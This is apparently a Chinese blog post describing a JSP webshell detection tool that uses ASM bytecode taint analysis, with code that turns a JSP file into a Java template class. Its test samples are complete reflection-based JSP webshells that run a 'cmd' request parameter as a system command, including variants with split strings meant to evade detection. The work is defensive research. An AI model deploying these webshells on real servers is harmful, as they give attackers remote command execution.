前言
在11月初,我做了一些JSP Webshell的免杀研究,主要参考了三梦师傅开源的代码。然后加入了一些代码混淆手段,编写了一个免杀马生成器JSPHorse,没想到在Github上已收获500+的Star
做安全只懂攻击不够,还应该懂防御
之前只做了一些免杀方面的事情,欠缺了防御方面的思考
于是我尝试自己做一个JSP Webshell的检测工具,主要原理是ASM做字节码分析并模拟执行,分析栈帧(JVM Stack Frame)得到结果
只输入一个JSP文件即可进行这一系列的分析,大致需要以下四步
- 解析输入的JSP文件转成Java代码文件
- 使用ToolProvider获得JavaCompiler动态编译Java代码
- 编译后得到的字节码用ASM进行分析
- 基于ASM模拟栈帧的变化实现污点分析
类似之前写的工具CodeInspector,不过它是半成品只能理论上的学习研究,而这个工具是可以落地进行实际的检测,下面给大家展示下检测效果
效果
时间原因只做了针对于反射型JSP Webshell的检测
效果还是不错的,各种变形都可以轻松检测出
关于反射马的讲解,可以看我在B站做的视频:https://www.bilibili.com/video/BV1L341147od
来个基本的反射马:1.jsp
<%@ page language="java" pageEncoding="UTF-8" %> <% String cmd = request.getParameter("cmd"); Class rt = Class.forName("java.lang.Runtime"); java.lang.reflect.Method gr = rt.getMethod("getRuntime"); java.lang.reflect.Method ex = rt.getMethod("exec", String.class); Process process = (Process) ex.invoke(gr.invoke(null), cmd); java.io.InputStream in = process.getInputStream(); out.print("<pre>"); java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in); java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader); String s = null; while ((s = stdInput.readLine()) != null) { out.println(s); } out.print("</pre>"); %>
查出是Webshell
如果把字符串给拆出来:2.jsp
<%@ page language="java" pageEncoding="UTF-8" %> <% String cmd = request.getParameter("cmd"); String name = "java.lang.Runtime"; Class rt = Class.forName(name); String runtime = "getRuntime"; java.lang.reflect.Method gr = rt.getMethod(runtime); java.lang.reflect.Method ex = rt.getMethod("exec", String.class); Object obj = gr.invoke(null); Process process = (Process) ex.invoke(obj, cmd); java.io.InputStream in = process.getInputStream(); out.print("<pre>"); java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in); java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader); String s = null; while ((s = stdInput.readLine()) != null) { out.println(s); } out.print("</pre>"); %>
查出是Webshell
进一步变化,拆开字符串:3.jsp
<%@ page language="java" pageEncoding="UTF-8" %> <% String cmd = request.getParameter("cmd"); String name = "java.lang."+"Runtime"; Class rt = Class.forName(name); String runtime = "getRu"+"ntime"; java.lang.reflect.Method gr = rt.getMethod(runtime); String exec = "ex"+"ec"; java.lang.reflect.Method ex = rt.getMethod(exec, String.class); Object obj = gr.invoke(null); Process process = (Process) ex.invoke(obj, cmd); java.io.InputStream in = process.getInputStream(); out.print("<pre>"); java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in); java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader); String s = null; while ((s = stdInput.readLine()) != null) { out.println(s); } out.print("</pre>"); %>
或者合并成一行
Process process = (Process) Class.forName("java.lang.Runtime") .getMethod("exec", String.class) .invoke(Class.forName("java.lang.Runtime") .getMethod("getRuntime").invoke(null), cmd); java.io.InputStream in = process.getInputStream();
都可以查出是Webshell
如果是正常逻辑,和执行命令无关:4.jsp
<%@ page language="java" pageEncoding="UTF-8" %> <% String cmd = request.getParameter("cmd"); Class rt = Class.forName("java.lang.String"); java.lang.reflect.Method gr = rt.getMethod("getBytes"); java.lang.reflect.Method ex = rt.getMethod("getBytes"); Process process = (Process) ex.invoke(gr.invoke(null), cmd); java.io.InputStream in = process.getInputStream(); out.print("<pre>"); java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in); java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader); String s = null; while ((s = stdInput.readLine()) != null) { out.println(s); } out.print("</pre>"); %>
那么不会存在误报
JSP处理
第一步我们需要把输入的JSP转为Java代码,之所以这样做因为JSP无法直接变成字节码
原理其实简单:造一个模板类,把JSP的<% xxx %>中的xxx填入模板
模板如下,简单取了三个JSP中常用的变量放入参数
package org.sec; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.PrintWriter; @SuppressWarnings("unchecked") public class Webshell { public static void invoke(HttpServletRequest request, HttpServletResponse response, PrintWriter out) { try { __WEBSHELL__ } catch (Exception e) { e.printStackTrace(); } } }
简单做了一下解析,可能会存在BUG但在当前的情景下完全够用
byte[] jspBytes = Files.readAllBytes(path); String jspCode = new String(jspBytes); // 置空为了后续分割字符串 jspCode = jspCode.replace("<%@", ""); // 得到<% xxx %>的xxx String tempCode = jspCode.split("<%")[1]; String finalJspCode = tempCode.split("%>")[0]; // 从Resource里读出模板 InputStream inputStream = Main.class.getClassLoader().getResourceAsStream("Webshell.java"); if (inputStream == null) { logger.error("read template error"); return; } // 读InputStream StringBuilder resultBuilder = new StringBuilder(); InputStreamReader ir = new InputStreamReader(inputStream); BufferedReader reader = new BufferedReader(ir); String lineTxt = null; while ((lineTxt = reader.readLine()) != null) { resultBuilder.append(lineTxt).append("\n"); } ir.close(); reader.close(); // 替换模板文件 String templateCode = resultBuilder.toString(); String finalCode = templateCode.replace("__WEBSHELL__", finalJspCode); // 使用了google-java-format库做了下代码格式化 // 仅仅为了好看,没有功能上的影响 String formattedCode = new Formatter().formatSource(finalCode); // 写入文件 Files.write(Paths.get("Webshell.java"), formattedCode.getBytes(StandardCharsets.UTF_8));
上面代码有一处坑:想从打包后的Jar的Resource里读东西必须用getResourceAsStream,如果用URI的方式会报错。另外这里用Main.class.getClassLoader()是为了读到classes根目录
经过处理后JSP变成这样的代码,可以使用Javac命令手动编译
package org.sec; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.PrintWriter; @SuppressWarnings("unchecked") public class Webshell { public static void invoke( HttpServletRequest request, HttpServletResponse response, PrintWriter out) { try { String cmd = request.getParameter("cmd"); Class rt = Class.forName("java.lang.Runtime"); java.lang.reflect.Method gr = rt.getMethod("getRuntime"); java.lang.reflect.Method ex = rt.getMethod("exec", String.class); Process process = (Process) ex.invoke(gr.invoke(null), cmd); java.io.InputStream in = process.getInputStream(); out.print("<pre>"); java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in); java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader); String s = null; while ((s = stdInput.readLine()) != null) { out.println(s); } out.print("</pre>"); } catch (Exception e) { e.printStackTrace(); } } }